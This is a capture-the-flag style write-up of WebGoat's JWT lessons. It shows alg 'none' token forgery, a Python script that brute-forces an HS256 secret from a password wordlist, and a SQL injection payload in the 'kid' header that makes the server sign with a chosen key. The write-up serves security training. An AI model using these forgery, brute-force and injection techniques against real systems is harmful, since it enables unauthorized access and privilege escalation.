JWT Token
3/
Use jwt.io to decode token, you will get username.
5/
After decode, you will see algorithm is HS256 and admin is false.
First, edit alg to "none". Next edit admin value to "true"


Edit cookie and send:

8/
eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTY0MDE1MDk3MiwiZXhwIjoxNjQwMTUxMDMyLCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.dlRNogwJ7D5mrP2ZvXlG5LW1d1U-vqq4DNld1EeN-FA
First, we must to find key of this token, after that change the username field in this token to 'WebGoat' to solve this challenge (The algorithm is HS256).
I use 1000000-password-seclists.txt to brute force.
Code to find key:
import jwt
jwt_str = R'eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTY0MDEzOTY5NywiZXhwIjoxNjQwMTM5NzU3LCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.1XUCWT94XEVfGV1OBGV4cLMJhqCMbzWzZI39I01Exmc'
with open('1000000-password-seclists.txt') as f:
for line in f:
key = line.strip()
try:
jwt.decode(jwt_str, key, algorithms='HS256')
print('Key found : ',key)
break
except jwt.exceptions.ExpiredSignatureError:
print('Key found : ',key)
break
except jwt.exceptions.InvalidSignatureError:
continue
else:
print("No key found.")

I found that the key is victory, use this key to decode and change username to WebGoat:


And then when We submit we will receive message that the jwt token is expired:

Change exp value and submit token again, we will solve this challenge:


10/
This challenge is similar to challenge 5.
Go to file logs.txt, we will get token:

Modify request with Burpsuite, we will see Authorization header:

We will edit the token we got and then use it to set value for Authorization header:
The algorithm is "None":

Edit admin field to "true":

Send request with new token, we will solve the challenge:

11/
First, use jwt.io to decode:

In header, you will see "kid", It seems different from other challenges.
Take a look at source code in WebGoat's github:

Here we can see, the key will be selected from the database where id=kid. We can use SQLI to make it return your own key:
Some thing we can use like this:
' union select 'key' from INFORMATION_SCHEMA.SYSTEM_USERS; --
When the query is executed, the key use to encode jwt is 'key' (your own key).
But one more step, you can see, before use this value as a key for jwt, it must be base64 decode first:
TextCodec.BASE64.decode(rs.getString(1));
So we must edit the value for kid o to:
' union select 'a2V5' from INFORMATION_SCHEMA.SYSTEM_USERS; --
And finally, edit username to "Tom", delete exp and use 'key' as key:


Submit new token and solve the challenge:

Last updated